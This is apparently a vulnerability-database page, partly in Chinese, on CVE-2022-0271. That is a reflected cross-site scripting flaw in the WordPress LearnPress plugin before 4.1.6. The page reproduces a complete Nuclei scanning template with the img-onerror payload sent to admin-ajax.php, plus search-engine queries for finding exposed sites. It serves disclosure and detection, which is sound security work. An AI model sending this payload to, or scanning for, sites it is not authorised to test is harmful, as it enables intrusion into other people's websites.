CVE-2022-0271: LearnPress <4.1.6 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: LearnPress | POC: 已公开

漏洞描述

WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.

PoC代码[已公开]

id: CVE-2022-0271

info:
  name: LearnPress <4.1.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
    - https://nvd.nist.gov/vuln/detail/cve-2022-0271
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0271
    cwe-id: CWE-79
    epss-score: 0.05389
    epss-percentile: 0.89749
    cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: thimpress
    product: learnpress
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/learnpress
    fofa-query: body=/wp-content/plugins/learnpress
    publicwww-query: /wp-content/plugins/learnpress
  tags: cve2022,cve,wp,wp-plugin,wordpress,learnpress,wpscan,xss,thimpress

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022025c6d3b2ebb7a98d1260034b2cb0a79a2fa8bcd3b8d73d3183d185f83cabb11f022100d5a9a86dde01b9ce881991cf780f2c41ba83223f17957cd025d83f57931b14de:922c64590222798bb761d5b6d8e72950

相关漏洞推荐